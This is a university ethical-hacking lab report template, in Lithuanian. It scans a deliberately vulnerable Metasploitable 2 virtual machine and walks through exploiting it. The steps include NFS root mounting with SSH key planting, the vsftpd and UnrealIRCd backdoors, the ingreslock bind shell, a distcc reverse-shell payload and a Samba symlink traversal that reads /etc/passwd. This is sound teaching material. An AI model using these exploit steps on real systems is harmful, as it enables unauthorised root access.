KAUNO TECHNOLOGIJOS UNIVERSITETAS

KOMPIUTERIŲ KATEDRA

Saugumo patikros ir etiško įsilaužimo technologijos

T120M154

Laboratoriniai darbai

NR. 2

Atliko: Eligijus Kiudys IMF-1/3

Kaunas, 2021

# Legenda

Informacinė sistema naudojama paslaugoms užtikrinti. Tinklo administratorius nebuvo toks pareigingas ir senai nėra atnaujinęs paslaugų („services“). Dėl šios priežasties virtualioje aplinkoje tiekiamos paslaugos tapo pažeidžiamomis.

Tinklų administratorius įvardijo galimus atakų vektorius:

1. IP adresai, tinklo kaukės, paslaugos („services“), prievadai („port“);
2. Paliktos saugumo spragos bei perduodant infrastruktūrą nugvelbti slaptažodžiai;
3. Įsilaužimai į viešai pasiekiamas svetaines, serverius, keičiant turinį, vagiant slaptažodžius;
4. Virtualios aplinkos užvaldymas ir netiesioginės vidinių tinklo paslaugų atakos;
5. Pažeidimo įrodymų fiksavimas.

**1. Darbo tikslas**

Nustatyti tinkle veikiančias paslaugas ir jų versijas. Surasti veikiančių paslaugų pažeidžiamumus, juos išnaudoti (įsilaužti).

STUTENTAS pildo gautus rezultatus „Jūsų gautas rezultatas“ pažymėtose vietose.

# 2. Darbo priemonės

1. Virtualios, pažeidžiamos Linux OS atvaizdas; VMware (zip) failas Parsisiuntimas: [~~ftp://158.129.35.88/pub/CEH/metalinux.tgz~~](ftp://158.129.35.88/pub/CEH/metalinux.tgz) ~~(NEGALIOJA);~~ Spustelėkite <http://sourceforge.net/projects/metasploitable/files/Metasploitable2/> saitą, kad atidarytumėte URL.
2. VMware Workstation Player (nemokama) <https://www.vmware.com/products/workstation-player.html> (arba Filehippo: <https://filehippo.com/download_vmware-workstation-player/> );
3. Wireshark – tinklo srauto analizės programinė įranga;
4. Nmap (zemap) – tinklo paslaugų ir prievadų identifikavimo priemonė;
5. (papildomai) Kali Linux – savarankiškai dirbantiems galima pasitelkti „pentest“ Linux distribuciją tam, kad turėti visus reikiamus įrankius vienoje vietoje (<http://www.kali.org>). Svarbu, jei planuojate naudoti Windows OS, galite įdiegti visą reikiamą aplinką per Windows App Store (nuoroda kaip tai padaryti: <https://www.kali.org/news/kali-linux-in-the-windows-app-store/>)
6. Metasploit – pažeidžiamumų testavimo sistema bei kartu platforma (karkasas), skirta apsaugos priemonėms ir pažeidžiamumų išnaudojimo kodams kurti. Šią sistemą visame pasaulyje naudoja daugelis tinklo saugumo specialistų, atlikdami įsibrovimo testus, sistemų administratorių, tikrindami ar teisingai įdiegti sisteminiai atnaujinimai, programinės įrangos naujinimai. Sistema sukurta naudojant „Ruby“ programavimo kalbą, o išeinantys komponentai – įvairiomis kitomis kalbomis, pvz.: C, perl, assembler ir pan. **Parsisiųsti:** <https://www.metasploit.com> PASTABA: jei naudojate Kali Linux, Metasploit karkasas yra sudiegtas pagal nutylėjimą.
7. Pažeidžiamumų duomebų bazė <http://www.exploit-db.com>;
8. Hydra - brutalios jėgos (brute foce) įrankis <https://github.com/vanhauser-thc/thc-hydra>;
9. Galima naudoti ir šiame sąraše nepateiktą programinę įrangą.
10. Braižymas (jei bus reikalinga): <http://draw.io>

**Papildomos darbo priemonės**

**Pavadinimas Trumpas apibūdinimas**

SING įrankis, skirtas pakeisti įvairius ICMP paketo tipus

NESSUS Pažeidžiamumų skeneris su papildymais

Nmap / Netcat Įvairiapusis tinklo jungties, skenavimo įrankis UDP ir TCP

Whisker 2.0 Tinklo skenavimo įrankis, parašytas PERL

Nikto Sudėtingesnis tinklo skenavimo įrankis, pagrįstas Whisker

Fragrouter Paketas, pakeičiantis įrankį NIDS tikrinimui

Nemesis Paketas, apipavidalinantis įrankį ugniasienių ir maršrutizatorių tikrinimui

Xprobe2 Įrankis, pirštų atspaudų sistemoms su ICMP

John the Ripper / Hydra Slaptažodžio nulaužimo įrankis

Sqlmap SQL pažeidžiamumų injekcijos

Sqlninja SQL pažeidžiamumų injekcijos, užvaldymas

Snmpwalk snmp paketų medis

Hydra brutalios jėgos (brute foce) įrankis

**Darbo atlikimo metodika**

Darbo metu atliekamas tinklo skenavimas, aptinkami paslaugų prievadai (servises, ports), jų versijos. Versijų pažeidžiamumų paieška <http://nvd.nist.gov> pažeidžiamumų duomenų bazėje. Pažeidžiamumų paieška Metasploit duomenų bazėje. Pažeidžiamumų išnaudojimas.

# Darbo rezultatų vertinimas

|  |  |  |  |
| --- | --- | --- | --- |
| Studento Vertinimas  (balais) | Galimas maksimalus vertinimo balas | Vertinimo objektas | Pastabos |
|  | 5 | Nustatyta pagrindinė informacija apie IP adresų paslaugas (services) | Informacija apie paslaugas, versijos, prievadai (services, versions, ports) |
|  | 3 | Aprašytas arba pademonstruotas pažeidžiamumas | Pažeidžiamumas, įrodymai (gali būti darbalaukio atvaizdas, gali būti rezultato iškopijavimas, pvz turite prieigą tai pademonstruota komanda $id „naudotojo teisės linux aplinkoje“) (exploiting). |
|  | 2 | Surinkta informacija apie paslaugų pažeidžiamumus.  Parengti išvadas. | Informacija apie pažeidaimumus (vulnerability)  PILDOMA TIK „Jūsų gautas rezultatas“ |
|  | 10 |  | |

**LABORATORINIO DARBO ATASKAITOS DALIS**

**Darbo eiga. Skenavimas**

Tinklo profilis – tai apimtis viso to, ką reikia atlikti. Laboratorinio metu **SKENUOJATE TIK VIENĄ IP**. Šio laboratorinio metu jums apimtį apibrėžia IP adresų grupės, kurios parodo, ko jums negalima tikrinti. Realiame pasaulyje tai gali būti netiksliai apibrėžiama ir jūs turėsite suvokti tai patys.

Tinklo profilio lentelė yra būdas apjungti skenavimą ir dokumentų ruošimą, kad būtų apibrėžta apimtis, kurioje yra domenų pavadinimai, zonos perkėlimo detalės, svarbios pavadinimo serverio detalės ir tinklo strategija. Ši profilio lentelė tada naudojama kaip vadovas tikrinimo metu, papildoma, kai būtina, ir galiausiai pateikia apžvalgą galutinės ataskaitos skaitytojams ir sudarytojams.

**Nmap naudojimas.** Aptikti paslaugų pažeidžiamumai. Ieškoma CVE ir Metasploit duomenų bazėse.

**Paslaugų sąrašas (skenuoto IP adreso)**

|  |  |  |
| --- | --- | --- |
| **Prievadas (port)** | **Paslauga (service)** | **Versija** |
| 21/tcp | ftp | vsftpd 2.3.4 |
| 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) |
| 23/tcp | telnet | Linux telnetd |
| 25/tcp | smtp | Postfix smtpd |
| 53/tcp | domain | ISC BIND 9.4.2 |
| 80/tcp | http | Apache httpd 2.2.8 ((Ubuntu) DAV/2) |
| 111/tcp | rpcbind | 2 (RPC #100000) |
| 139/tcp | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 445/tcp | netbios-ssn | Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) |
| 512/tcp | exec | netkit-rsh rexecd |
| 513/tcp | login? |  |
| 514/tcp | shell |  |
| 1099/tcp | java-rmi | GNU Classpath grmiregistry |
| 1524/tcp | bindshell | Metasploitable root shell |
| 2049/tcp | nfs | 2-4 (RPC #100003) |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
| 3306/tcp | mysql | MySQL 5.0.51a-3ubuntu5 |
| 5432/tcp | postgresql | PostgreSQL DB 8.3.0 - 8.3.7 |
| 5900/tcp | vnc | VNC (protocol 3.3) |
| 6000/tcp | X11 | (access denied) |
| 6667/tcp | irc | UnrealIRCd |
| 8009/tcp | ajp13 | Apache Jserv (Protocol v1.3) |
| 8180/tcp | http | Apache Tomcat/Coyote JSP engine 1.1 |

|  |  |  |  |
| --- | --- | --- | --- |
| **Prievadas** | **Protokolas** | **Paslauga** | **Paslaugos detalės** |
| 21/tcp | ftp | File Transfer Protocol | Slaptažodžiai ir failai siunčiami atviru tekstu |
| 22/tcp | ssh | Secure shell | Protokolas aprašantis apsaugotą kliento prisijungimą prie nutolusios serverio aplinkos ir komandų vykdymą serveryje |
| 23/tcp | telnet | Teletype Network | Naudojamas prisijungti prie nutolusio tinklo kompiuterio arba serverio. Neturi nei perduodamų duomenų šifravimo, nei duomenų vientisumo tikrinimo. |
| 25/tcp | smtp | Simple Mail Transfer Protocol | Pasplauga yra naudojama siūsti el. laiškus, dažnai šita paslauga yra naudojama masiniam laiškų siuntimui gavėjams. |
| 53/tcp | domain | Domain name service | Vardų paslauga. Egzistuoja trojos arklių, kurie naudojasi šio prievadu: ADM worm, li0n, MscanWorm, MuSka52, Trojan.Esteem.C ir kiti. |
| 80/tcp | http | World Wide Web HTTP | Protokolas yra skirtas komunikuoti tarp naršyklės ir puslapio serverio, atviru tekstu. |
| 111/tcp | rpcbind | SUN Remote Procedure Call | Šiuo prievadu keliauja informacija tarp „Unix“ sistemų. |
| 139/tcp | netbios-ssn | NetBios Session Service | Paslauga suteikia galimybę sujungti du kompiuterius „pokalbiui“, leidžia valdyti didelius pranešimus ir suteikia galimybę aptikti klaidas bei atstatyti pažeistus pranešimus |
| 445/tcp | netbios-ssn | NetBios Session Service (naujesnė versija) | Paslauga suteikia galimybę sujungti du kompiuterius „pokalbiui“, leidžia valdyti didelius pranešimus ir suteikia galimybę aptikti klaidas bei atstatyti pažeistus pranešimus |
| 512/tcp | exec | Remote Execution Protocol | Naudojamas paleisti programas ant nutolusio serverio, atrodant lyg, programos butu paleistos ant lokalaus įrenginio, perduodant duomenis iš lokalaus irenginio. |
| 513/tcp | rlogin | Remote Login | Leidžia prisijungti prie nutolusio serverio. |
| 514/tcp | shell | Remote Shell (Rsh) | Komandinės eilutės programa, kuri gali paleisti shell komandas, kaip kitas naudotojas. Galimi išnaudojimai RPC Backdoor, Whacky, ADM worm |
| 1099/tcp | java-rmi | Java Remote Method Invocation | Paslauga leidžia kviesti metodus iš vieno Java virtualaus serverio per kitą Java virtualų serverį. |
| 1524/tcp | bindshell | Bind Shell | Tai yra shell tipkas, kuris pastoviai klausosi prisijungimų prie nustatyto port‘o. Atakuotojas gali prisijungti prie nustatyto port‘o, gauti prieigą prie shell |
| 2049/tcp | nfs | Network File System | Leidžiai nutolusiems naudotojams prijungti direktoriją per tinklą |
| 2121/tcp | ftp | ProFTPD | FTP paslauga |
| 3306/tcp | mysql | MySQL | MySQL duomenų bazės paslauga |
| 5432/tcp | postgresql | PostgreSQL Database | PostgreSQL duomenų bazės paslauga |
| 5900/tcp | vnc | Remote Framebuffer | Nuotolinis darbalaukio valdymas |
| 6000/tcp | X11 | X Window System | Trojos arkliai, kurie gali būti vykdomi šiame prievade: The Thing, Aladino, NetBus, APStrojan. |
| 6667/tcp | irc | UnrealIRCd | Šį prievadą naudoja daugelis trojos arklių: Dark Connection Inside, Dark FTP, Host Control ir kt. |
| 8009/tcp | ajp13 | Apache Jserv | Apache JServ Protocol 1.3 |

**Darbo eiga. Pažeidžiamumų išnaudojimas**

**Metasploit**. Programinės įrangos paleidimo ir paieškos pvz.

**Paleidimas**

(arba paleidimas iš /opt/mfs/msfconsole

Paieškos pvz.

msf> search sendmail

**Paslaugos: Unix pagrindai**

TCP prieigos (port) 512, 513 ir 514 yra žinomos kaip "r" tipo paslaugos, kurie buvo nesukonfigūruoti, leisti nuotolinę prieigą iš bet kurio kompiuterio (standartas ". rhosts + +" situacija). Norėdami pasinaudoti šia klaida, įsitikinkite, kad "rsh-client" klientas yra įdiegtas (Ubuntu) ir paleiskite šią komandą, kaip lokalų root. Jei gavote pranešimą įvesti SSH raktą, tai reiškia, kad rsh-client įrankiai nebuvo įdiegti ir Ubuntu naudoja SSH pagal nutylėjimą.

# **rlogin -l root IP**

Sekanti paslauga į kurį turėtume atkreipti dėmesį tai, Tinklo rinkmenų sistemos (NFS). NFS gali būti identifikuojamas pagal prieigą (port) 2049 tiesiogiai arba užklausiant portmapper paslaugos. Toliau naudojant rpcinfo nustatyti NFS ir showmount -e nustatyti ar "/" prieigos dalį (failų sistemos šakninė direktorija) yra eksportuojama. Jums reikės rpcbind ir nfs-common Ubuntu paketų (įrankių).

|  |  |
| --- | --- |
| **IP adresas** | **Rezultatas (paslaugos, prievadai)** |
| 192.168.177.128 |  |

# **rpcinfo -p IP**

# **showmount -e IP**

|  |  |
| --- | --- |
| **IP adresas** | **Rezultatas (paslaugos, prievadai)** |
| 192.168.177.128 | 100000 2 tcp 111 portmapper  100000 2 udp 111 portmapper  100024 1 udp 48297 status  100024 1 tcp 32999 status  100003 2 udp 2049 nfs  100003 3 udp 2049 nfs  100003 4 udp 2049 nfs  100021 1 udp 40818 nlockmgr  100021 3 udp 40818 nlockmgr  100021 4 udp 40818 nlockmgr  100003 2 tcp 2049 nfs  100003 3 tcp 2049 nfs  100003 4 tcp 2049 nfs  100021 1 tcp 42273 nlockmgr  100021 3 tcp 42273 nlockmgr  100021 4 tcp 42273 nlockmgr  100005 1 udp 41861 mountd  100005 1 tcp 34040 mountd  100005 2 udp 41861 mountd  100005 2 tcp 34040 mountd  100005 3 udp 41861 mountd  100005 3 tcp 34040 mountd |
| 192.168.177.128 | Export list for 192.168.177.128:  / \* |

Tam, kad gauti prieigą prie sistemos su įrašymo teisę į failų sistemą reikia (dėl SSH veikiančios paslaugos) sukurti naują SSH raktą mūsų puolamoje sistemoje. Primontuoti NFS eksportą ir pridėti savo raktą į root naudotojo authorized\_keys failą (susikurti raktus):

root@linux:~# **ssh-keygen**

Generating public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id\_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /root/.ssh/id\_rsa.

Your public key has been saved in /root/.ssh/id\_rsa.pub.

root@linux:~# **mkdir /tmp/r00t**

root@linux:~# **mount -t nfs IP:/ /tmp/r00t/**

root@linux:~# **cat ~/.ssh/id\_rsa.pub >> /tmp/r00t/root/.ssh/authorized\_keys**

root@linux:~# **umount /tmp/r00t**

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
| **ssh-keygen** |  |
| **mkdir /tmp/r00t** |  |
| **mount -t nfs 192.168.177.128:/ /tmp/r00t/** |  |
| **cat ./.ssh/id\_rsa.pub >> /tmp/r00t/root/.ssh/authorized\_keys** |  |
| **umount /tmp/r00t** |  |

# **ssh root@IP**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
| **ssh root@192.168.177.128** |  |

**Paslaugos: Backdoors (užpakalinės durys)**

**21 (port)** prieigą naudoja vsftpd, populiarus FTP serveris. Ypač šioje versijoje Backdoor (žr. <http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html>), kuris buvo įkeltas į kodą nežinomų hakerių. Backdoor buvo greitai nustatytas ir pašalintas, bet ne nemažai žmonių jį atsisiųsti su sistemų atsinaujinimais. Backdoor veikia, kaip užklausoje dėl naudotojo prisijungimo yra naudojamas papildomas simbolis ":)" [laimingas veidas] pabaigoje. Backdoor apkrėstoji versija atveria 6200 prieigą (port). Mes galime tai įrodyti su telnet ar naudotis Metasploit (žr. http://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd\_234\_backdoor) pagrindų modulis automatiškai jį išnaudoti.

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
| telnet 192.168.177.128 21 |  |
| user wow:) |  |
| pass neteisingas |  |
| telnet 192.168.177.128 6200 |  |
| id; |  |

**6667 (port)** prieigą naudoja UnreaIRCD IRC paslauga (daemon). Ši versija yra su backdoor (žr. <http://forums.unrealircd.com/viewtopic.php?t=6562>). Pažeidžiamumas buvo nepastebėtas mėnesį laiko – trigeris buvo siunčiant laiškus "AB" į sistemos komandas naudojant bet kurią prieigą serveryje. Metasploit turi modulį (žr. <http://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor> ) išnaudoti šiam pažeidžiamumui.

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
| msfconsole |  |
| use exploit/unix/irc/unreal\_ircd\_3281\_backdoor  set RHOST 192.168.177.128  exploit |  |
| id |  |

Naudoti telnet arba metasploit

root@linux:~# **msfconsole**

Daug mažiau subtilus yra senas laukimo (standby) "ingreslock" Backdoor. Ji naudoja 1524 prieigą (port). Ingreslock prieiga buvo labai populiarus pasirinkimas kai prieš dešimtmetį Backdoor diegdavo į serverius. Ją gauti labai paprasta:

**Paslaugos:netyčiniai Backdoors**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
| telnet 192.168.177.128 1524 |  |
| id |  |

Be žalingų Backdoors yra ir paslaugos kurie pagal savo prigimtį yra pažeidžiami. Pirmasis iš jų yra įdiegtas IP - **distccd**. Ši programa leidžia lengvai paskirstyti didelį kompiliatoriaus darbą įvairiose sistemos. Šios paslaugos problema yra ta, kad hakeris gali lengvai piktnaudžiauti ją, paleisti komandas su atitinkamais pasirinkimas (raktais).

root@linux:~# **msfconsole**

msf > **use exploit/unix/misc/distcc\_exec**

msf  exploit(distcc\_exec) > **set RHOST IP**

msf  exploit(distcc\_exec) > **exploit**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
| msfconsole |  |
| Use exploit/unix/misc/distcc\_exec |  |
| set RHOST 192.168.177.128 |  |
| set payload cmd/unix/reverse |  |
| set LHOST 192.168.177.129 |  |
| exploit |  |
| id |  |

Samba, kai sukonfigūruotas priėjimas su rašymo galimybe ir " wide links plačiosios nuorodos" yra leidžiamas (pagal nutylėjimą). Gali būti naudojamas kaip slaptas priėjimas prie failų, kurie nebuvo skirti dalijimuisi (share). Žemiau pavyzdyje naudojamas Metasploit modulį suteikti prieigą prie šakninės failų sistemos, naudojant anoniminį prisijungimą su įrašymo galimybę.

root@linux:~# **smbclient -L //IP**

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

        Sharename       Type      Comment

        ---------       ----      -------

        print$          Disk      Printer Drivers

**tmp             Disk      Mūsų tikslas!**

        opt             Disk

        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@linux:~# **msfconsole**

msf > **use auxiliary/admin/smb/samba\_symlink\_traversal**

msf  auxiliary(samba\_symlink\_traversal) > **set RHOST IP**

msf  auxiliary(samba\_symlink\_traversal) > **set SMBSHARE tmp**

msf  auxiliary(samba\_symlink\_traversal) > **exploit**

msf auxiliary(samba\_symlink\_traversal) > **exit**

root@linux:~# **smbclient //IP/tmp**

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

smb: \> **cd rootfs**

smb: \rootfs\> **cd etc**

smb: \rootfs\etc\> **more passwd**

getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

[..]

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
| smbclient -L //192.168.177.128 |  |
| msfconsole |  |
| use auxiliary/admin/smb/samba\_symlink\_traversal |  |
| set RHOST 192.168.177.128 |  |
| set SMBSHARE tmp |  |
| exploit |  |
| exit |  |
| smbclient //192.168.177.128/tmp |  |
| cd rootfs |  |
| cd etc |  |
| more passwd |  |

**IŠVADOS**

(įkelti darbalaukio nuotraukas su root teisėmis ir aprašyti pažeidžiamumą, kaip jos buvo gautos)